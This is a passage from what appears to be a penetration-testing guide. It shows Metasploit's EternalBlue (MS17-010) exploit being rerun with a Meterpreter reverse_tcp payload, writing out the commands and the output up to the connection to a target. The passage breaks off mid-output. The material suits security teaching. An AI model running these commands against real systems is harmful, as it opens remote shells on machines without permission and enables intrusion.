session that you would be able to run there. This may be limited, though you can
launch PowerShell from this command interface. This will give you access to cmdlets
that can be used to manage the system and gather information from it.
In addition to running PowerShell, you can switch out the payload so you are using
Meterpreter instead. This gives us a set of functions that have nothing to do with the
operating system and any capabilities or limitations of the shell or command inter‐
preter we are presented. In
Example 6-8
, I’m still using the EternalBlue exploit but
I’ve changed out the payload. This will return a Meterpreter shell instead of the com‐
mand interpreter.
Example 6-8. Exploiting EternalBlue to get Meterpreter
msf exploit
(
windows/smb/ms17_010_eternalblue
)
>
set
PAYLOAD
windows/x64/meterpreter/reverse_tcp
PAYLOAD
=
> windows/x64/meterpreter/reverse_tcp
msf exploit
(
windows/smb/ms17_010_eternalblue
)
> exploit
[
*
]
Started reverse TCP handler on 192.168.86.21:4444
[
*
]
192.168.86.48:445 - Connecting to target